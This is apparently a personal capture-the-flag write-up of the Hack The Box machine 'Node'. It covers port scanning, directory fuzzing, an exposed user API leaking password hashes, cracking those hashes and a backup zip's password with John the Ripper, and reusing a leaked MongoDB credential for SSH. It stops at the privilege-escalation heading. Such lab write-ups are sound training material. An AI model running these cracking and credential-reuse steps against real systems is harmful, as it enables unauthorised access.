Skip to main content Link Search Menu Expand Document (external link)

Node

Lessons Learned

Enumeration

NMap

Initially received 0 results, so we utilized the -Pn switch as suggested and can see that hadoop is running on port 3000:

nmap -sC -sV 10.10.10.58 -p-  
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-04 18:56 MST
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.38 seconds
nmap -sC -sV 10.10.10.58 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-04 18:56 MST
Nmap scan report for 10.10.10.58
Host is up (0.066s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc5e34a625db43eceb40f4967b8ed1da (RSA)
|   256 6c8e5e5f4fd5417d1895d1dc2e3fe59c (ECDSA)
|_  256 d878b85d85ffad7be6e2b5da1e526236 (ED25519)
3000/tcp open  hadoop-datanode Apache Hadoop
|_http-title: MyPlace
| hadoop-datanode-info:
|_  Logs: /login
| hadoop-tasktracker-info:
|_  Logs: /login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.21 seconds

Manual Review

Navigating to the IP and port 3000 we see a website with a login link there. I’ve created a ‘user.txt’ containing these 3 usernames for future if we get to brute forcing. HTTP Main

Poked at the login page with admin/admin, root/root, mark/password, etc as quick tests. Pasting this image so we have the failure verbiage for later: Login

FFuF

Fuzzed our parent directory and came up with the following directory structure. I’m poking around each directory and their all redirecting back to the main page (obviously, 301s). I could continue fuzzing each directory, but I think we’ll move on to using Burp Suite to try and spider the site. FFuF’s always a good start, though. Maybe I’m just lazy.

ffuf -u http://10.10.10.58:3000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep -v 200

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.58:3000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

uploads                 [Status: 301, Size: 173, Words: 7, Lines: 10, Duration: 70ms]
assets                  [Status: 301, Size: 171, Words: 7, Lines: 10, Duration: 64ms]
vendor                  [Status: 301, Size: 171, Words: 7, Lines: 10, Duration: 70ms]
:: Progress: [220560/220560] :: Job [1/1] :: 505 req/sec :: Duration: [0:09:05] :: Errors: 0 ::

Burp Suite

I already have FoxyProxy configured. If you haven’t utilized Burp Suite before, I highly recommend installing this add-on as it will make turning your proxy on/off much easier.
node3

Here’s my FoxyProxy settings for the ‘Burp’ line-item:
node5

Pretty easy. I started up Burp, turned on the FoxyProxy Burp setting, navigated to the site (http://10.10.10.58:3000), and selected “Proxy > Intercept” within Burp and forwarded all incoming packets. This built out a nice top-level view of the site (sometimes referred to as ‘spidering’ a site):
node4

I’ll bet you noticed this, too. There is a folder off of the main site: /api/users. I navigated there in the browser and, in plain text, we have the following print out of usernames and passwords. Passwords appear to be hashes of some sort, I don’t recognize a pattern right out of the gate:

0
_id	"59a7365b98aa325cc03ee51c"
username	"myP14ceAdm1nAcc0uNT"
password	"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af"
is_admin	true
1
_id	"59a7368398aa325cc03ee51d"
username	"tom"
password	"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240"
is_admin	false
2
_id	"59a7368e98aa325cc03ee51e"
username	"mark"
password	"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73"
is_admin	false
3
_id	"59aa9781cced6f1d1490fce9"
username	"rastating"
password	"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0"
is_admin	false

A bit further, into /latest, we also have the following ‘hashes’ (we’ll call them for now):

0
_id	"59a7368398aa325cc03ee51d"
username	"tom"
password	"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240"
is_admin	false
1
_id	"59a7368e98aa325cc03ee51e"
username	"mark"
password	"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73"
is_admin	false
2
_id	"59aa9781cced6f1d1490fce9"
username	"rastating"
password	"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0"
is_admin	false

Obviously, the item with ‘admin’ in the name is of most interest. Quick comparison just by looking, it appears our 3 primary users (Mark, Tom, and Travis Rastating) have the same password in each.

For the remainder of burp suite discovery, note that I’ve switched to the ‘Response’ tab inside of the console to retrieve the results listed below. You could, alternatively, navigate to each of these manually, but Burp has done some of the heavy lifting for us. Example: Burp Spider 2

Poking around at each discovery, we see a few .js files. Namely in /assets/js/app/app.js this information seems useful, as it’s pointing to some additional subdirectories that I’m not seeing otherwise:

var controllers = angular.module('controllers', []);
var app = angular.module('myplace', [ 'ngRoute', 'controllers' ]);

app.config(function ($routeProvider, $locationProvider) {
  $routeProvider.
    when('/', {
      templateUrl: '/partials/home.html',
      controller: 'HomeCtrl'
    }).
    when('/profiles/:username', {
      templateUrl: '/partials/profile.html',
      controller: 'ProfileCtrl'
    }).
    when('/login', {
      templateUrl: '/partials/login.html',
      controller: 'LoginCtrl'
    }).
    when('/admin', {
      templateUrl: '/partials/admin.html',
      controller: 'AdminCtrl'
    }).
    otherwise({
      redirectTo: '/'
    });

    $locationProvider.html5Mode(true);
});

I wanted to also gather what I’d seen under admin.js, since this seems pertinent. Although, when navigating to /api/admin/backup you do have to authenticate there, so this info not necessary quite yet.

var controllers = angular.module('controllers');

controllers.controller('AdminCtrl', function ($scope, $http, $location, $window) {
  $scope.backup = function () {
    $window.open('/api/admin/backup', '_self');
  }

  $http.get('/api/session')
    .then(function (res) {
      if (res.data.authenticated) {
        $scope.user = res.data.user;
      }
      else {
        $location.path('/login');
      }
    });
});

This seems useful, however, hitting the download button doesn’t get us a response: Download Button

Hashes

I don’t immediately recognize the ‘hashes’ here, so I ran one through hash-identifier and it appears they are likely SHA-256:

hash-identifier                                                                  
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af

Possible Hashs:
[+] SHA-256
[+] Haval-256

Least Possible Hashs:
[+] GOST R 34.11-94
[+] RipeMD-256
[+] SNEFRU-256
[+] SHA-256(HMAC)
[+] Haval-256(HMAC)
[+] RipeMD-256(HMAC)
[+] SNEFRU-256(HMAC)
[+] SHA-256(md5($pass))
[+] SHA-256(sha1($pass))

I used crackstation to quickly crack these. Looks like it found all but one: Hashes

Logging in

Our strange admin username (myP14ceAdm1nAcc0uNT) has a password of ‘machester’ which we discovered from the crackstation results. Logging in as that user, we’re presented with a ‘Download Backup’ button. We’ll pull this down and see what it contains. download_backup

Cat’d out the file and he output appears to be base64 encoded? I’m making this assumption based on past experrience and the = sign at the end. I used the built in base64 decoding utility and sent the output to a new file (‘decoded’):

base64 -d myplace.backup > decoded

Cat’ing this out is also gibberish. I don’t know what any of this is. Performed some research around ‘identify linux file type’ and came across this link. Using the file command, we discover that it is a zip file:

┌──(ghohstkali)-[~/Documents/HTB/node]
└─$ file decoded             
decoded: Zip archive data, at least v1.0 to extract, compression method=store

Of course, it is password protected:

┌──(ghohst㉿kali)-[~/Documents/HTB/node]
└─$ unzip decoded                                                                                                2 ⨯
Archive:  decoded
   creating: var/www/myplace/
[decoded] var/www/myplace/package-lock.json password: 

Encrypted ZIP File

I’ll use zip2john to pull the hash:

┌──(ghohstkali)-[~/Documents/HTB/node]
└─$ zip2john decoded > decoded_hashes.txt

┌──(ghohstkali)-[~/Documents/HTB/node]
└─$ cat decoded_hashes.txt 
decoded:$pkzip$8*1*1*0*0*11*2938*848095550e8fb40b41c5441356b6f21cc0*1*0*0*17*996a*3668d66b431016de8956ce3aca93377ad8d9c468062155*1*0*0*19*5083*eaaf8d031726012e5a760f486fc3080188a4ef032ccda8371a*1*0*0*1f*b16f*c497b9c83317be9c7d1562e6620c69d41ccb72c924a057139b2661f46f0843*1*0*0*24*a3cc*610024c9a98c84ef6ad18f9140463c9ed1e12a2cf28a7bad5ca32ac2524e8137b12d9cbb*1*0*8*24*5083*a7d7a8ec2ecb613154979487b308ff19f587b5286e9f09c8e67259d225eb4f46369439a0*1*0*0*24*9679*327e583b8705d27384db5c7099085d05321c560d18065a5ce4b45cb25fabb8c1454d6939*2*0*11*5*118f1dfc*94cb*67*0*11*3d0f*dda1d223368ebf80068e9230ce4e8db7b0*$/pkzip$::decoded:var/www/myplace/node_modules/qs/.eslintignore, var/www/myplace/node_modules/express/node_modules/qs/.eslintignore, var/www/myplace/node_modules/string_decoder/.npmignore, var/www/myplace/node_modules/isarray/.npmignore, var/www/myplace/node_modules/ipaddr.js/.npmignore, var/www/myplace/node_modules/cookie-signature/.npmignore, var/www/myplace/node_modules/isarray/.travis.yml, var/www/myplace/node_modules/debug/node.js:decoded

And then John The Ripper to crack the pw:

┌──(ghohstkali)-[~/Documents/HTB/node]
└─$ john --wordlist=~/Downloads/rockyou.txt decoded_hashes.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
magicword        (decoded)     
1g 0:00:00:00 DONE (2022-12-05 17:38) 33.33g/s 6280Kp/s 6280Kc/s 6280KC/s sandy09..become
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

This was super fast, actually. We unzip the ‘decoded’ file again, input the password, and it outputs a ‘var’ folder (presumably, www from the Node server)

Zip Contents Review

Since I’m going to need to look at quite a few files, I opened this folder in ATOM and started at the top. App.js was a good lead the first time around, and sure enough we have some interesting info here, as well. It appears that Mark is connected to mongodb, over 27017, with the following credentials:

I’m going to hold on to these line-items in text:

const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

SSH

27017 is closed from the outside, but perhaps this is mark’s SSH password (22 is open)?

nc -nvv 10.10.10.58 27017
┌──(ghohstkali)-[~]
└─$ ssh mark@10.10.10.58    

     ,`\ \    `-`.                 88                         88 
    /   \ '``-.   `                88                         88 
  .-.  ,       `___:      88   88  88,888,  88   88  ,88888, 88888  88   88 
 (:::) :        ___       88   88  88   88  88   88  88   88  88    88   88 
  `-`  `       ,   :      88   88  88   88  88   88  88   88  88    88   88 
    \   / ,..-`   ,       88   88  88   88  88   88  88   88  88    88   88 
     `./ /    .-.`        '88888'  '88888'  '88888'  88   88  '8888 '88888' 
        `-..-(   ) 
              `-` 




The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ 

Exploitation

We now have a shell.
Interestingly, tom has the user flag and I can’t cat it out as mark:

Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
mark@node:~$ whoami
mark
mark@node:~$ pwd
/home/mark
mark@node:~$ ls 
mark@node:~$ cd ..
mark@node:/home$ ls
frank  mark  tom
mark@node:/home$ ls tom
user.txt

This was my point of failure. Up until this point, I hadn’t needed a write up or to check forums. I will investigate the necessary next steps, but it seems that user access was the furthest I was able to get on my own. I attribute this to being unfamiliar with MongoDB as a whole.

Privilege Escalation